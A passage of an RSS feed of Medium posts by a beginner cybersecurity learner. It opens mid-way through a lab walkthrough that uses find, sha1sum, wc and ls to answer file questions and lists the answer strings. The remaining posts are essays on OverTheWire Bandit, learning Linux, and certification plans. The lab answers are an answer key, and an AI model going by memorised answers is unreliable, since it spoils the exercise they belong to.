hash of all the found files to match the required hash.</p><p><strong><em>exec sha1sum</em></strong></p><p><em>[</em><strong><em>sha1sum</em></strong><em> is a computer program that calculates and verifies SHA-1 hashes]</em></p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*rEzbcduUKfPz0Kt_.png" /></figure><p>Answer: c4ZX</p><h3>#4. Which file contains 230 lines?</h3><p>Here, we can see that all the files are listed here, except one (check given file names).</p><p><strong><em>-exec wc -l</em></strong></p><p>For explanation, check wc command help (wc — help)</p><p>[<strong>wc -l</strong>: Prints the number of lines in a file]</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*DpsMSrGE4SOJgcOI.png" /></figure><p>Answer: bny0</p><h3>#5. Which file’s owner has an ID of 502?</h3><p>Here, we have to see the UID (user identifier) of all the files.</p><p><strong><em>-exec ls -ln</em></strong></p><p>For this, check <strong>ls </strong>command help.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/656/0*xsII2HjceFqjx3r7.png" /></figure><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*XolQZkzI1GPVNiK3.png" /></figure><p>Answer: X1Uy</p><h3>#6. Which file is executable by everyone?</h3><p>Here, we have to use long-listing to see the file permissions.</p><p><strong><em>-exec ls -l</em></strong></p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*X0ZnkGy-Zv8mRAf8.png" /></figure><p>Answer: 8V2L</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c3c7a86981ff" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Bandit Is More Than a Linux Game]]></title>
            <link>https://medium.com/@sonalblue/bandit-is-more-than-a-linux-game-628f40938308?source=rss-b61984778fce------2</link>
            <guid isPermaLink="false">https://medium.com/p/628f40938308</guid>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[bandit]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[games]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Sonal]]></dc:creator>
            <pubDate>Mon, 06 Jul 2026 05:13:58 GMT</pubDate>
            <atom:updated>2026-07-06T05:14:15.683Z</atom:updated>
            <content:encoded><![CDATA[<h3>...exactly why every cybersecurity beginner should play Bandit.</h3><p>When people say <em>“Learn Linux if you want to get into cybersecurity,”</em> they’re not wrong.</p><p>They’re just leaving out one tiny detail.</p><p><strong>How?</strong></p><p>Reading pages of documentation can only take you so far. You might learn what a command does, but you’ll probably forget it by the next day unless you actually use it.</p><p>That’s exactly where <strong>Bandit</strong>, one of the wargames by OverTheWire, comes in.</p><p>Bandit doesn’t feel like a course.</p><p>It feels like a game where Linux is the only language you’re allowed to speak.</p><p>Every level gives you a simple objective.</p><p>Find a password, inspect a file, connect to a service, and quietly expect you to figure out <em>how</em> to get there. There are no giant tutorials waiting for you.</p><p>Just a terminal, a hint, and a problem to solve.</p><p>Some levels take two minutes.</p><p>Others make you question whether you’ve forgotten how to read.</p><p>I’m currently on <strong>Level 16</strong>, and looking back, I didn’t just learn new commands.</p><p>I learned why they exist.</p><p>The early levels ease you into navigating the filesystem, understanding hidden files, and figuring out Linux permissions.</p><p>Before you know it, you’re searching through directories, working with encoded data, decompressing files buried inside other files, using pipes to chain commands together, connecting to remote machines over SSH, and even interacting with services running on different ports.</p><p>What’s clever is that Bandit never says, <em>“Today you’ll learn this.”</em></p><p>It simply puts a problem in front of you, and somewhere along the way, you end up learning the concept naturally.</p><p>One of my favourite things about Bandit is that it doesn’t reward memorisation.</p><p>It rewards observation.</p><p>Sometimes the answer is sitting in the challenge description.</p><p>Sometimes it’s hidden inside the manual page you almost skipped.</p><p>Sometimes the terminal gives you the answer through an error message; you just have to stop ignoring it.</p><p>And yes, sometimes the solution is as simple as noticing one character you overlooked for twenty minutes.</p><p>Those are… memorable.</p><p>I’ve also realised that Bandit introduces you to something every cybersecurity learner eventually becomes familiar with.</p><p><em>Documentation.</em></p><p>Not the exciting kind.</p><p>The kind where you open a manual page, read it, try something, fail, go back, read it again, and suddenly the sentence you ignored the first time makes perfect sense.</p><p>It can be frustrating.</p><p>It can also be incredibly satisfying.</p><p>Since I knew I’d never remember every little detail, I decided to document every level I complete.</p><p>Not just the solution, but the reasoning behind it.</p><p>What the challenge was trying to teach.</p><p>The mistakes I made.</p><p>The commands that actually mattered and the alternatives I learnt.</p><p>And the tiny details that could easily be forgotten a month later.</p><p>It’s become less of a repository of answers and more of a notebook I’d want my future self to have.</p><p>If you’re just beginning your cybersecurity journey, I’d recommend Bandit without hesitation.</p><p>Not because it’ll magically make you an ethical hacker.</p><p>But because it’ll make you comfortable with something far more valuable; sitting in front of an unfamiliar problem and patiently working your way through it.</p><p>I’ve documented my journey so far, on GitHub and would be updating as I move forward, so if you’re solving Bandit yourself – or simply want another perspective – you can check it out <a href="https://github.com/sonalguptaaa/Bandit-OverTheWire">here</a>.</p><p>I’m only sixteen levels in, and there are many more waiting.</p><p>If the first sixteen have taught me anything, it’s that the terminal becomes a lot less intimidating once you stop treating it like an enemy and start treating it like a puzzle.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=628f40938308" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[I Thought Cybersecurity Was About Hacking. Reality Slapped Me Hard.]]></title>
            <link>https://medium.com/@sonalblue/i-thought-cybersecurity-was-about-hacking-reality-slapped-me-hard-6e43ec245276?source=rss-b61984778fce------2</link>
            <guid isPermaLink="false">https://medium.com/p/6e43ec245276</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[journey]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[learning]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Sonal]]></dc:creator>
            <pubDate>Mon, 06 Jul 2026 04:50:46 GMT</pubDate>
            <atom:updated>2026-07-06T04:50:46.233Z</atom:updated>
            <content:encoded><![CDATA[<p>When I told people I had started learning cybersecurity, the first question was almost always the same.</p><blockquote>“So… have you hacked anything yet?”</blockquote><p>I used to smile awkwardly because, honestly, <strong>I hadn’t.</strong></p><p>I used to smile awkwardly because the honest answer was no. I hadn’t broken into any systems. I hadn’t discovered some clever vulnerability.</p><p>And I was definitely not sitting in a dark room wearing a hoodie with three terminals open.</p><p>Instead, I was simply learning.</p><p>And somewhere along the way, I realised cybersecurity isn’t teaching me how to hack computers first.</p><p>It’s teaching me how to <strong>think</strong>.</p><p>Before I started, I imagined ethical hacking as one giant cinematic moment of victory.</p><p>You fire up a tool, gain access, and win.</p><p>Turns out, it’s mostly the opposite.</p><p>Turns out, it’s mostly the opposite. You spend long stretches staring at things that don’t work. You read dense documentation. You search forums and logs trying to understand why something failed.</p><p>You make mistakes, fix them, and make new ones.</p><p>And occasionally, after what feels like forever, something finally clicks.</p><p>That tiny moment of clarity is ridiculously satisfying.</p><p>One of the things that surprised me most is how often cybersecurity rewards curiosity more than raw intelligence.</p><p>You don’t need to know every tool or memorise hundreds of commands. You just need to keep asking questions.</p><blockquote>“What happens if I do this? Why does this work? What am I missing?”</blockquote><p>Sometimes, the answer is hidden in plain sight.</p><p>Sometimes, it takes an hour to find.</p><p>And sometimes, you discover that the problem wasn’t the computer.</p><p>It was your assumption about how things should behave.</p><p>I’ve also realised that learning cybersecurity is strangely humbling.</p><p>The more I learn, the more I realise how much I don’t know.</p><p>A week ago, I thought networking sounded straightforward. Then I learnt enough networking to realise I barely understood it at all.</p><p>I’m pretty sure this pattern is going to repeat with every new topic I tackle, and oddly enough, I’ve come to love that feeling.</p><p>It means there’s always another fascinating rabbit hole waiting just ahead.</p><p>There have been plenty of days when I felt like I wasn’t making any progress. I’d reread the same concept multiple times, forget things I’d learned the week before, and wonder if everyone else was moving faster than me.</p><p>Then I looked back at where I started.</p><p>A few months ago, even the vocabulary felt unfamiliar.</p><p>Today, I read articles and videos that would have completely confused the earlier version of me.</p><p>Progress isn’t always obvious while you’re making it.</p><p>Sometimes you only notice it when you turn around and see how far you’ve actually come.</p><p>I’m still very much at the beginning of this journey. I haven’t found a critical vulnerability, earned a stack of certifications, or built an impressive home lab yet.</p><p>But I’ve learned something I didn’t expect when I started.</p><p>Cybersecurity isn’t just a field where you collect knowledge. It’s a field where you collect better questions.</p><p>And with every answer, you somehow end up with five more.</p><p>Honestly, those endless questions are what makes it so addictive.</p><p>I’m genuinely excited to see where the next question takes me.</p><p>If you’re on a similar path or thinking about starting one, I’d love to hear what surprised you most along the way.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6e43ec245276" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[I Tried to Learn Linux. I Also Killed a Boss Only 46.7% of Players Could Beat. Priorities.]]></title>
            <link>https://medium.com/@sonalblue/i-tried-to-learn-linux-i-also-killed-a-boss-only-46-7-of-players-could-beat-priorities-0b11bb82e3a4?source=rss-b61984778fce------2</link>
            <guid isPermaLink="false">https://medium.com/p/0b11bb82e3a4</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[learning]]></category>
            <category><![CDATA[gaming]]></category>
            <category><![CDATA[technology]]></category>
            <dc:creator><![CDATA[Sonal]]></dc:creator>
            <pubDate>Sun, 21 Jun 2026 07:54:15 GMT</pubDate>
            <atom:updated>2026-06-21T07:54:15.566Z</atom:updated>
            <content:encoded><![CDATA[<p>It’s summer. Exams are over. I told myself this was the time , the time I’d finally get serious about cybersecurity. Learn Linux. Understand the terminal. Become the kind of person who types fast and looks cool doing it. And also, <em>I’m documenting my cybersecurity learning journey publicly.</em></p><p>What actually happened, I defeated Gyoubu Oniwa in Sekiro. A boss only 46.7% of players have managed to kill. I am, statistically speaking, elite.</p><p>The Linux thing also happened. Eventually.</p><h3>So What Even Is Linux?</h3><p>Before this month, my entire relationship with “the terminal” was accidentally opening it on my laptop and immediately closing it because it looked scary.</p><p>Turns out, it’s not scary. It’s actually kind of incredible.</p><p>Linux is an operating system , like Windows, except free, open source, and used by basically every server, hacker, and computer science person who wants to feel superior at parties. I installed Kali Linux (the cybersecurity-specific version) on VirtualBox, which means I now have a hacker computer running inside my regular computer. Inception, but for nerds.</p><p>The Terminal is Wild.</p><p>Here’s the thing nobody tells you about the terminal, once you understand it, you start seeing it everywhere.</p><p>It’s not just a black box where you type commands and hope for the best. It’s literally a window into your entire system , and potentially into other systems too. Every file, every running process, every network connection , visible, manageable, controllable, all from one place.</p><p>My first real “whoa” moment was running.</p><pre>ls -la</pre><p>And suddenly seeing hidden files I never knew existed. Files sitting there, invisible to normal users, just chilling. The terminal showed me everything.</p><p>The thing that surprised me was how much control you have. That feeling? That’s why people get into cybersecurity.</p><h3>Commands I Now Know (And Immediately Forgot, Then Remembered Again)</h3><p>Nobody memorizes every Linux command. Let me be clear about that. Even people who’ve been doing this for 10 years Google things constantly.</p><p>“Good hackers are good googlers”, someone on Youtube.</p><p>The goal isn’t memorization , it’s knowing what EXISTS and roughly what it does.</p><p>That said, here’s what actually stuck,</p><ul><li>pwd — &quot;where am I?&quot; (asked this a lot, both in Linux and in life)</li><li>ls -la — show me everything, including the things you&#39;re hiding</li><li>grep — find a needle in a haystack, but the haystack is a text file</li><li>chmod — change who&#39;s allowed to touch what (turns out Linux is very particular about this)</li><li>find / -name &quot;*.conf&quot; 2&gt;/dev/null — find files without getting screamed at by the system</li><li>ssh user@ip — walk into someone else&#39;s computer through the internet (legally, calm down)</li></ul><p>The one that broke my brain initially was file permissions.</p><p>Once it clicked it felt obvious. Before it clicked I stared at it for an embarrassingly long time.</p><p>This is not even 1% of the commands I learnt. And the fact I do not remember half of it, means I know only 0.5%? But I learnt the working, I learnt to work with an entire different OS.</p><p>Linux feels like an entire different world. It feels less like using a computer and more like having a conversation with it.</p><h3>The Part Where I Slacked</h3><p>I’m going to be honest with you because I think that’s more useful than pretending I was disciplined.</p><p>I played a lot of games this month. Valorant, Sky and specifically Sekiro Shadows Die Twice, where I defeated Gyoubu Oniwa , a giant armored warrior on horseback , in a battle that felt genuinely cinematic. 46.7% of players have done this. I am one of them. It was necessary to mention.</p><p>I also learned Linux. These things are not mutually exclusive, but they did compete for time.</p><p>The thing is , and I mean this genuinely, I don’t think taking breaks to do things you love is slacking. It’s maintenance. You can’t study for 8 hours a day and absorb anything. At least I can’t. Some people can. Those people are lying.</p><p>What matters is that I kept coming back. Some days it was 20 minutes. Some days it was 3 hours. But I kept opening that terminal.</p><p>Consistency is the key.</p><h3>What Actually Surprised Me</h3><p>I expected Linux to feel like memorizing a dictionary. Dry, technical, just a list of commands to cram before I could do anything “real.”</p><p>It felt nothing like that.</p><p>It felt like learning a language that actually made sense. Every command has a logic ls lists, cd changes directory, cat concatenates (reads) files. Flags follow a pattern. Pipes (|) chain commands together like sentences. Once you understand the grammar, you can start improvising.</p><p>And the community around it? Enormous. Welcoming. There are tutorials, writeups, YouTube channels, and entire platforms (HackTheBox, TryHackMe) built specifically to teach this stuff through actual practice. You’re never alone in being confused.</p><p>In my case, I watched the videos of NetworkChuck and read Linux fundamentals from HackTheBox, Bandit Over The Wire helped me a lot.</p><p>Claude has been very helping in explaining me things I didn’t understand. Aren’t we all privileged?</p><h3>What’s Next</h3><p>Networking. TCP/IP, DNS, how data actually moves across the internet, why your packets care about port numbers.</p><p>I’ll probably also defeat a few more bosses. I won’t apologize for this.</p><p>If you’re thinking about getting into cybersecurity and don’t know where to start , start here. Install a Linux VM. Open the terminal. Type ls. See what happens.</p><p>It’s less scary than it looks. And considerably more interesting than I expected.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0b11bb82e3a4" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[“Hackers Are Like Cockroaches” — A Med Student Accidentally Explained Cybersecurity Perfectly]]></title>
            <link>https://medium.com/@sonalblue/hackers-are-like-cockroaches-a-med-student-accidentally-explained-cybersecurity-perfectly-dfa34e8f3d92?source=rss-b61984778fce------2</link>
            <guid isPermaLink="false">https://medium.com/p/dfa34e8f3d92</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[discord]]></category>
            <category><![CDATA[cockroach]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[hacker]]></category>
            <dc:creator><![CDATA[Sonal]]></dc:creator>
            <pubDate>Thu, 28 May 2026 05:16:59 GMT</pubDate>
            <atom:updated>2026-05-28T05:16:59.993Z</atom:updated>
            <content:encoded><![CDATA[<p>I was on Discord with one of my friends , she’s a med student, completely non-tech and somehow we ended up talking about hacking and cybersecurity.</p><p>I was telling her about an article I read on some student who “accidentally” broke into his college database just to check his scores like it was his personal Netflix account and, in the middle of the conversation, she casually said,</p><blockquote><strong>“Hackers are like cockroaches. They just need one crack to get in.”</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/880/1*QS8AmKuEx4Er2yvTokQDGQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/907/1*9CiZjwdt1fLZ_O2aslk2rA.png" /></figure><p>I genuinely lost it laughing.</p><p>Now, I need to make it very clear that I absolutely hate cockroaches. Like genuinely. Horrible creatures. The way they appear out of nowhere like they pay rent in your walls? Disgusting.</p><p>Which honestly made it worse that her analogy was painfully accurate.</p><p>I wanted to disagree out of pure personal hatred for cockroaches alone, but I couldn’t.</p><p>What’s funny is that this explanation didn’t come from someone deep into cybersecurity. It came from a med student , someone who spends more time memorizing human anatomy, diseases, and lab work than thinking about networks or exploits.</p><p>And maybe that’s exactly why it made sense.</p><p>Because cybersecurity, at its core, isn’t always about dramatic “movie hacking.” It’s often just about finding weaknesses people ignored.</p><p>Tiny ones.</p><p><strong>A weak password.<br>An outdated system.<br>A random suspicious link someone clicked because they were tired.<br>A public Wi-Fi connection nobody thought twice about.</strong></p><p>Just one small opening.</p><p>And honestly, medicine isn’t that different.</p><p><strong>A tiny untreated infection can spread through the body.<br>A small unnoticed symptom can turn into something serious later.<br>One weak point can affect an entire system.</strong></p><p>The human body and computer systems are both weirdly dependent on maintenance. Ignore small problems long enough, and eventually something breaks.</p><p>That’s probably why her analogy hit so hard.</p><p>Most of the time, cockroaches show up because something was ignored for too long. Cracks in walls, poor maintenance, leftover food, damp corners nobody pays attention to.</p><p>Cybersecurity works the same way.</p><p>A lot of vulnerabilities exist because people assume small things don’t matter until they suddenly do.</p><p>Right now, I’m still learning cybersecurity myself. I’m nowhere near calling myself a pentester yet. I’m still in that early stage where half the time I feel like I know nothing, and the other half I accidentally spend six hours reading about vulnerabilities instead of sleeping.</p><p>The deeper I go, though, the more I realize something important.</p><p>Most attacks don’t happen because hackers are magical geniuses typing aggressively in dark rooms.</p><p>A lot of the time, systems simply make things easier than they should.</p><p>People reuse passwords.<br>Developers leave exposed keys in repositories.<br>Companies forget to disable old employee accounts.<br>Someone clicks a phishing email during a stressful workday.</p><h3><strong>Attackers don’t always need sophistication. Sometimes they just need opportunity.</strong></h3><p>And that’s the uncomfortable part about cybersecurity:<br>Defenders have to protect <em>everything</em>.<br>Attackers usually only need one mistake.</p><p>That “one crack” matters more than people think.</p><p>The internet also gave people this illusion that cyberattacks are only problems for giant corporations or governments. But honestly, everyone has a digital life now.</p><p><strong>Photos.<br>Messages.<br>Bank accounts.<br>Emails.<br>Personal data.<br>Entire identities.</strong></p><p>Even if you think you’re “not important enough” to target, vulnerabilities are still vulnerabilities. Sometimes attackers aren’t looking for a specific person , they’re looking for the easiest opening.</p><p>Kind of like bacteria entering through an untreated wound. Or, apparently, cockroaches finding cracks in walls.</p><p>I still think it’s hilarious that one of the most accurate cybersecurity analogies I’ve heard came from a med student on Discord.</p><p>But maybe that’s the thing about learning tech, sometimes the best explanations come from people outside of it.</p><p>And honestly?</p><p>“Hackers are like cockroaches” might stay in my brain forever now</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/736/1*HqwyThMetruDBs-Cqwhxuw.jpeg" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=dfa34e8f3d92" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[I Have No Job, No Certs, and a Dream to Hack Things Legally. Here’s My Plan or Plah.]]></title>
            <link>https://medium.com/@sonalblue/i-have-no-job-no-certs-and-a-dream-to-hack-things-legally-heres-my-plan-or-plah-8842b055bbe2?source=rss-b61984778fce------2</link>
            <guid isPermaLink="false">https://medium.com/p/8842b055bbe2</guid>
            <category><![CDATA[programming]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[software-engineering]]></category>
            <category><![CDATA[networking]]></category>
            <dc:creator><![CDATA[Sonal]]></dc:creator>
            <pubDate>Sun, 24 May 2026 11:31:07 GMT</pubDate>
            <atom:updated>2026-05-24T11:31:07.072Z</atom:updated>
            <content:encoded><![CDATA[<p>Some people spend their second year of engineering building projects, grinding LeetCode, and collecting certifications.</p><p>I spent mine wondering what I actually wanted to do.</p><p>Initially, I was interested in designing and aimed to be a Product Designer but that went pretty <em>well,</em> I must say<em>.</em></p><p>And somehow, I landed in cybersecurity, the one field where every beginner roadmap casually tells you to learn networking, Linux, Python, cloud, security, scripting, and probably telepathy which I think is quite interesting.</p><p>The funny part? I haven’t actually started yet.</p><p>This is literally Day 1 of figuring things out properly so I did opened Youtube.</p><p>I found a roadmap from “Networking With Chuck” that gave me a structure that I think knew but I still needed a verification. Instead of jumping straight into “ethical hacking,” it starts with stuff. It’s like the Preambe in the Constitution of India.</p><p>According to Chuck, I need certain certs like CompTIA A+($246),<strong> </strong>CompTIA Security+($246), CompTIA Network+($246)<strong>, </strong>Cisco CCNA($300), eJPT, CPTS, OSCP($1,499).</p><p>No certifications. Can’t afford most of what I’m about to mention. More and so, none of the above. But I have a notebook, a YouTube, and the unhinged confidence of becoming a hacker. And did I mention coffee? I have that too.</p><p>The total cost of doing all of this “properly” is easily $1,500–$3,000+. My plan though, free resources first, exam vouchers one at a time, apply throughout so I have income to fund the certs.</p><blockquote>The knowledge is accessible. Certifications are just the receipts you show employers because it makes a really good impression and it’s completely valid. Though get the knowledge first is the real task. As what Chuck said.</blockquote><p>Following this, I’ll be learning Python and Linux commands this month, along with applying for IT jobs because experience is a gold mine if I get in, and rejection for something you weren’t prepared for gives you another chance to learn better.</p><p>Right now, I’m not an expert. I’m just someone at day 1 trying to build direction instead of collecting random information.</p><p>And honestly? That already feels better than being stuck.</p><p>I needed a roadmap which I got, I’ll be building consistency, and have enough curiosity to keep going even when things stop making sense.</p><p>And that’s okay because eventually, it’ll all make sense.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8842b055bbe2" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>